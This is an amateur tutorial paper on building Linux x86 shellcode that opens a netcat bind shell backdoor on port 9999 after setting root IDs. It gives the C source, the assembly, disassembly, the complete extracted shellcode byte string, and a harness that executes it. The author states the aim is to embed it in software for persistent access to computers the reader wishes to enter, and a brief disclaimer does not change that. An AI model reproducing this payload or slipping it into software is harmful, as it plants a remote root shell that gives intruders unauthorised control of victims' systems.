Backdooring Technique with Netcat(Shellcode version)
|=+++++++++++++++++++++++++++=[ Netcat as a shellcode ]=+++++++++++++++++++++++++++=|
|=+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++=|
|=+++++++++++++++++++++++++++=[ flor_iano@hotmail.com ]=+++++++++++++++++++++++++++=|
|=+++++={Greetz to Str0ke, INFOSEC Institute, and to all who read this paper}=+++++=|
Disclaimer:Take Care!
Do not include this program to software, you can go in jail for abuse of privacy,
its a backdoor and you can be detected if you dont know what you do.
-----[ A Introduction - What is Netcat(SwissArmy Knife)?
Netcat is a unix utility wich read and writes data across network connections,
using TCP or UDP protocol. It is designed to be a reliable "back-end" tool that can
be used directly or easily driven by other programs && scripts. It is a feature-rich
network debugging and exploration tool, since it can create almost any kind of connection you would need and has several interesting built-in capabilities. Netcat, or simply "nc" as the actual program is named shoud have been supplied long ago as another one of those cryptic but standart Unix tools.
Netcat is considered on top 20 Network debugging tools, it serve in several ways:
(1)It connects to a server.
(2)Is used as a backdoor.
(3)We get to transfer data(files) with commands.
(4)It can be connected at almost all of the TCP/IP's ports.
(5)ETC.
Nowadays the security administrators should (and is a "must" to)learn using netcat for his simplicity on connecting on others computers.In this paper i will show you the netcat shellcode so you can use it in your software to get a "back-end" port open and have a persistence access to a server or a computer you wish to access to.
-----[ Nasty work
Now, I as computer enthusiast and a software programmer have searched for weeks and weeks on geeting a shellcode for netcat becauze its very hard for this tool since it is a network debugging tool.
First of all we write two C program's to test the shellcode:
#include <stdio.h> //IO header
#include <string.h> //Functions on favor of strings
#include <stdlib.h> //exit() function
char shellcode[] = ""; /* Global array */
int main(int argc, char **argv)
{
int (*ret)(); /* ret is a func pointer*/
ret = (int(*)())shellcode; /* ret points to our shellcode */
(int)(*ret)(); /* shellcode is type caste as a function */
exit(0) /* exit() */
}
And the second program is about the mman.h tester program:
#include <stdio.h> //IO header
#include <sys/mman.h> //MMAN sys func
#include <string.h> //Functions on favor of strings
#include <stdlib.h> //Define Var types
#include <unistd.h> //Defines misc symbolic constants and types, and declares misc functions
int (*shellcodetotest)(); /* Global Variable type int, shellcodetotest is a func pointer */
char shellcode[] = ""; /* Global array */
int main(int argc, char **argv)
{
void *ptr = mmap(0, 150, PROT_EXEC | PROT_WRITE| PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0); /* Mmap functions passed to *ptr pointer */
if(ptr == MAP_FAILED)
{
perror("mmap"); /* Func to error of program */
exit(-1);
}
memcpy(ptr, shellcode, sizeof(shellcode)); /* Memcpy function */
shellcodetotest = ptr; /* Here we test the shellcode with mmap functions */
shellcodetotest(); /* Exec the shellcode */
return 0; /* return */
}
So what to do now:
(1) Prepare the C program to exec nc commands.
(2) Test it.
(3) Debug it.
root@MINDZSEC:~# nano ntcat.c
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int main()
{
setresuid(0,0,0); /* Set res UID 0 0 0 to all program */
char *envp[] = { NULL };
char *argv[] = {"/bin/nc", "-lvp9999", "-e/bin/sh", NULL};
int ret = execve("/bin/nc", argv, envp); /* exec the command */
}
Now we compile it:
root@MINDZSEC:~# gcc -S ntcat.c (-S switch for asm lang)
Assemble
root@MINDZSEC:~# as ntcat.s -o ntcat.o
Link it.
root@MINDZSEC:~# ld ntcat.o -o ntcat
Run it
root@MINDZSEC:~# ./ntcat
listening on [any] 9999 ...
Disassemble.
root@MINDZSEC:~# objdump -d ntcat.o
ntcat.o: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: 83 e4 f0 and $0xfffffff0,%esp
6: 83 ec 30 sub $0x30,%esp
9: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
10: 00
11: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
18: 00
19: c7 04 24 00 00 00 00 movl $0x0,(%esp)
20: e8 fc ff ff ff call 21 <main+0x21>
25: c7 44 24 28 00 00 00 movl $0x0,0x28(%esp)
2c: 00
2d: c7 44 24 18 00 00 00 movl $0x0,0x18(%esp)
34: 00
35: c7 44 24 1c 08 00 00 movl $0x8,0x1c(%esp)
3c: 00
3d: c7 44 24 20 11 00 00 movl $0x11,0x20(%esp)
44: 00
45: c7 44 24 24 00 00 00 movl $0x0,0x24(%esp)
4c: 00
4d: 8d 44 24 28 lea 0x28(%esp),%eax
51: 89 44 24 08 mov %eax,0x8(%esp)
55: 8d 44 24 18 lea 0x18(%esp),%eax
59: 89 44 24 04 mov %eax,0x4(%esp)
5d: c7 04 24 00 00 00 00 movl $0x0,(%esp)
64: e8 fc ff ff ff call 65 <main+0x65>
69: 89 44 24 2c mov %eax,0x2c(%esp)
6d: c9 leave
6e: c3 ret
We can strace it to see what syscall's executing.
root@MINDZSEC:~# strace ./ntcat
execve("./ntcat", ["./ntcat"], [/* 31 vars */]) = 0
brk(0) = 0x9966000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7764000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=103011, ...}) = 0
mmap2(NULL, 103011, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb774a000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY) = 3
Here we can see the firs syscall execve executing our program, followed by the opening of the dynamic linker/loader ld.so to load shared libraries.
The opcodes that are presented up have NULLS on it so we must remember a rule to get a shellcode done:
Remember to always use the smallest part of register possible to avoid null's, and xor is your friend.
So I accept that this C programm will not work and we dont have to test it - its simple his opcodes have nulls.So what to do, we go back
to assembly language (the most beautyfull programming language to program shellcodes.
Remember:
(1)You cant have nulls in your shellcode.
(2)You cant use static addresses in your shellcode.
(3)Xor is your friend.
Now get on asm programming language
root@MINDZSEC:~# nano ntcat.asm
jmp short todo
shellcode:
;from man setresuid: setresuid(uid_t ruid, uid_t euid, uid_t suid)
xor eax, eax ;Zero out eax
xor ebx, ebx ;Zero out ebx
xor ecx, ecx ;Zero out ecx
cdq ;Zero out edx using the sign bit from eax
mov BYTE al, 0xa4 ;setresuid syscall 164 (0xa4)
int 0x80 ;syscall execute
pop esi ;esi contain the string in db
xor eax, eax ;Zero out eax
mov[esi + 7], al ;null terminate /bin/nc
mov[esi + 16], al ;null terminate -lvp90
mov[esi + 26], al ;null terminate -e/bin/sh
mov[esi + 27], esi ;store address of /bin/nc in AAAA
lea ebx, [esi + 8] ;load address of -lvp90 into ebx
mov[esi +31], ebx ;store address of -lvp90 in BBB taken from ebx
lea ebx, [esi + 17] ;load address of -e/bin/sh into ebx
mov[esi + 35], ebx ;store address of -e/bin/sh in CCCC taken from ebx
mov[esi + 39], eax ;Zero out DDDD
mov al, 11 ;11 is execve syscakk number
mov ebx, esi ;store address of /bin/nc
lea ecx, [esi + 27] ;load address of ptr to argv[] array
lea edx, [esi + 39] ;envp[] NULL
int 0x80 ;syscall execute
todo:
call shellcode
db '/bin/nc#-lvp9999#-e/bin/sh#AAAABBBBCCCCDDDD'
; 01234567890123456789012345678901234567890123
So what we done here:
(1)We xor all the eac,ebx,ecx registers.
(2)We write the command in shellcode sections.
call shellcode
db '/bin/nc#-lvp9999#-e/bin/sh#AAAABBBBCCCCDDDD'
; 01234567890123456789012345678901234567890123
(3)We commented down of it number to have a focus on the command.
(4)Then do the dirty programm getting finished.
Now we compile it with nasm program
root@MINDZSEC:~# nasm -f elf ntcat.asm
Disassemble
root@MINDZSEC:~# objdump -d ntcat.o
ntcat.o: file format elf32-i386
Disassembly of section .text:
00000000 <shellcode-0x2>:
0: eb 35 jmp 37 <todo>
00000002 <shellcode>:
2: 31 c0 xor %eax,%eax
4: 31 db xor %ebx,%ebx
6: 31 c9 xor %ecx,%ecx
8: 99 cltd
9: b0 a4 mov $0xa4,%al
b: cd 80 int $0x80
d: 5e pop %esi
e: 31 c0 xor %eax,%eax
10: 88 46 07 mov %al,0x7(%esi)
13: 88 46 10 mov %al,0x10(%esi)
16: 88 46 1a mov %al,0x1a(%esi)
19: 89 76 1b mov %esi,0x1b(%esi)
1c: 8d 5e 08 lea 0x8(%esi),%ebx
1f: 89 5e 1f mov %ebx,0x1f(%esi)
22: 8d 5e 11 lea 0x11(%esi),%ebx
25: 89 5e 23 mov %ebx,0x23(%esi)
28: 89 46 27 mov %eax,0x27(%esi)
2b: b0 0b mov $0xb,%al
2d: 89 f3 mov %esi,%ebx
2f: 8d 4e 1b lea 0x1b(%esi),%ecx
32: 8d 56 27 lea 0x27(%esi),%edx
35: cd 80 int $0x80
00000037 <todo>:
37: e8 c6 ff ff ff call 2 <shellcode>
3c: 2f das
3d: 62 69 6e bound %ebp,0x6e(%ecx)
40: 2f das
41: 6e outsb %ds:(%esi),(%dx)
42: 63 23 arpl %sp,(%ebx)
44: 2d 6c 76 70 39 sub $0x3970766c,%eax
49: 39 39 cmp %edi,(%ecx)
4b: 39 23 cmp %esp,(%ebx)
4d: 2d 65 2f 62 69 sub $0x69622f65,%eax
52: 6e outsb %ds:(%esi),(%dx)
53: 2f das
54: 73 68 jae be <todo+0x87>
56: 23 41 41 and 0x41(%ecx),%eax
59: 41 inc %ecx
5a: 41 inc %ecx
5b: 42 inc %edx
5c: 42 inc %edx
5d: 42 inc %edx
5e: 42 inc %edx
5f: 43 inc %ebx
60: 43 inc %ebx
61: 43 inc %ebx
62: 43 inc %ebx
63: 44 inc %esp
64: 44 inc %esp
65: 44 inc %esp
66: 44 inc %esp
Here im not making test of running it because i am 100% clearance that it will work so lets gett the shellcode from this object file.
root@MINDZSEC:~# ./xxd-shellcode.sh ntcat.o "\xeb\x35\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x5e\x31\xc0\x88\x46\x07\x88\x46\x10\x88\x46\x1a\x89\x76\x1b\x8d\x5e\x08\x89\x5e\x1f\x8d\x5e\x11\x89\x5e\x23\x89\x46\x27\xb0\x0b\x89\xf3\x8d\x4e\x1b\x8d\x56\x27\xcd\x80\xe8\xc6\xff\xff\xff\x2f\x62\x69\x6e\x2f\x6e\x63\x23\x2d\x6c\x76\x70\x39\x39\x39\x39\x23\x2d\x65\x2f\x62\x69\x6e\x2f\x73\x68\x23\x41\x41\x41\x41\x42\x42\x42\x42\x43\x43\x43\x43\x44\x44\x44\x44"
This programm, damn it. We got with just a commannd :D..
Now it time to put this shellcode on mman.c test program,i used this because is a syscall function and can be simply works.But,
its not wrong to use the shellcode with the first test program, but mman involve on it, is like a=b b=c a=c so we have a look on strace sig.
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7764000
//Here we saw that mmap2 func is used to exec the program like wise it will do with the first c test programm.
Ok, since we put the shellcode in mman file now have a look on program:
root@MINDZSEC:~# nano Mmap.c
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
int (*shellcodetotest)();
char shellcode[] = "\xeb\x35\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x5e\x31\xc0\x88\x46\x07\x88\x46\x10\x88\x46\x1a\x89\x76\x1b\x8d\x5e\x08\x89\x5e\x1f\x8d\x5e\x11\x89\x5e\x23\x89\x46\x27\xb0\x0b\x89\xf3\x8d\x4e\x1b\x8d\x56\x27\xcd\x80\xe8\xc6\xff\xff\xff\x2f\x62\x69\x6e\x2f\x6e\x63\x23\x2d\x6c\x76\x70\x39\x39\x39\x39\x23\x2d\x65\x2f\x62\x69\x6e\x2f\x73\x68\x23\x41\x41\x41\x41\x42\x42\x42\x42\x43\x43\x43\x43\x44\x44\x44\x44";
int main(int argc, char **argv) {
void *ptr = mmap(0, 150, PROT_EXEC | PROT_WRITE| PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);
if(ptr == MAP_FAILED){
perror("mmap");
exit(-1);
}
memcpy(ptr, shellcode, sizeof(shellcode));
shellcodetotest = ptr;
shellcodetotest();
return 0;
}
root@MINDZSEC:~# gcc Mmap.c -o Mmap
Run
root@MINDZSEC:~# ./Mmap
listening on [any] 9999 ...
Hey we see its listening on port 9999, i used this port on ntcat.asm programm so its working.The assembly is all pretty understendable until you get down to
the main.There is many ways to make his program more efficent and workable,i simply learnt much about shellcoding and came to this step.This paper can save you lots of time
for making a netcat shellcode, just watch all the paper carefully and see were is your difficulty.Since i exposed my email you can contact on me to answer your questions if you have.
I dont used gdb here cuz with this i meant that the reader who will see this paper can understand programming and its functions.
In someplace in this paper i have include A file called xxd-shellcode.sh it saved me lot of time(5mins) to get the opcodes done:
here you have it:
#!/bin/bash
filename=`echo $1 | sed s/"\.o$"//`
rm -f $filename.shellcode
objdump -d $filename.o | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-6 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s | sed 's/^/"/' | sed 's/$/"/g'
echo
Copy it and test it and dont change nothing, anyway you can find this on projectshellcode.com
My Pseudoname is MINDZSEC(flor ian) and i love doing "SHELLCODE".
My another article I think could be "Smashing the stack By me"
